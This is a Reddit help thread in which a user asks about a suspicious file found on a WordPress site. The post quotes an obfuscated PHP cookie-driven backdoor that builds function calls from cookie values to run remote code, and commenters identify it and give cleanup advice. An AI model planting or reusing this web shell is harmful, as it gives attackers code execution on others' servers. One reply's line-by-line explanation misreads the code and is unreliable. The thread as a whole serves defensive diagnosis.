r/PHPhelp • u/temujin77 • Jan 03 '23
Mysterious PHP code
Relaying this question from a friend who does not use Reddit -- He found a funny-looking PHP file on his WordPress installation named "LgvhK.php", and it looks like this:
$p=$_COOKIE;(count($p)==23&&in_array(gettype($p).count($p),$p))?(($p[22]=$p[22].$p[26])&&($p[16]=$p[22]($p[16]))&&($p=$p[16]($p[24],$p[22]($p[21])))&&$p()):$p;At a glance, it seems to be trying to read cookies that have been previously set, which sounds fishy to me. Does anyone know what this is trying to do exactly, and whether this is a warning sign of the web application having been compromised?
Thanks in advance.
15
Jan 03 '23
I would guess that is some very obfuscated way for remote code execution. An attacker sends some special prepared cookie, which contains encoded instructions what the infected server should do.
While the script itself don't seem to do anything malicious, it allows attackers to upload and execute other malicious code and you have to assume that it already was.
The script is pretty clever, as it don't seem to use eval, but calls functions directly which allows dynamic code execution even if eval is disabled.
4
u/temujin77 Jan 03 '23
Thank you for your input! This definitely looks very fishy. I already have him remove this file and check for others.
Thanks again!
4
u/pixobit Jan 04 '23
There's a high chance that removing isn't enough...
3
u/zaval Jan 04 '23
Exactly! Removing the file doesn't deal with how the file was introduced in the first place, and we don't know what damage this file has done since being introduced.
0
u/temujin77 Jan 04 '23
Thats a great point, i will relay the message to my colleagues and have him consider something more drastic on that server. Thanks!
2
6
u/ZippyTheWonderSnail Jan 04 '23
If the $_COOKIE is set, and the cookie array is 23 items long, then look for a cookie named array23.
If this exists, then rearrange some of the items in the array into executable code and run it.
6
u/snazzydesign Jan 04 '23
Removing this file is just closing the door, they are already inside and have the technique to get in easily now. You need to figure out how they got in to begin with. Majority of the time it’s poor hosting, or poor plugins / themes
1
2
u/joshcam Jan 13 '23
This PHP code appears to be checking if the count of the $_COOKIE array is equal to 23 and if the string representation of the data type of the array and its count are found within the array. If this condition is true, it performs a series of operations on the array:
It assigns the value of the 22nd element of the array and the 26th element of the array to the 22nd element of another array named "Sp". It then assigns the value of the 22nd element of the array to the 16th element of the array. Finally, it assigns the result of executing a function with the 24th element of the array and the result of executing a function with the 22nd element of the array and the 21st element of the "Sp" array to the entire $_COOKIE array. If the condition is not true, it just returns the $_COOKIE array without any modifications.
This is a code snippet that is hard to understand and is not self-explanatory. It is likely a part of a larger program or a malicious script.
2
u/temujin77 Jan 13 '23
Thanks!
2
u/joshcam Jan 13 '23
Wordpress is like an open wound during a zombie apocalypse. /s
2
u/temujin77 Jan 13 '23
Oh that's pretty much what I told him when he asked what may have happened. Probably a zombie DDoS attacker against another server.
2
u/wichotl Jan 29 '23 edited Jan 29 '23
Bad name - bad Obfuscated - bad Inside wordpress - bad
Good thing they used a bad name which is pretty obvious, sometimes they use names like get_data.php or stuff like that to hide better
What they use to do is to hack into your wordpress installation. Install phishing stuff on it. And send phishing emails using you infected site as medium.
For fun sometimes I go to my spam email, search for this kind of practice and report it to the website owners.
PS: I hate Wordpress
0
Jan 04 '23
[deleted]
2
u/temujin77 Jan 04 '23
It is a Linux box. I will relay the message to my colleague on this. Possibly call for a reinstall if he's unsure. Thanks!
3
u/RandyHoward Jan 04 '23
They need to check the plugins / packages they are using first before creating a new install. Gotta get rid of the back door or they will just keep coming back.
1
u/temujin77 Jan 04 '23
I will give him the heads up, thank you. I will recommend him to start over as much as he can, perhaps some of the themes and plug-ins aren't even being used anymore. I know I have that problem myself with my sites, leaving unused plug-ins behind...
27
u/ryantxr Jan 03 '23
This is bad. Your friend’s site has been compromised.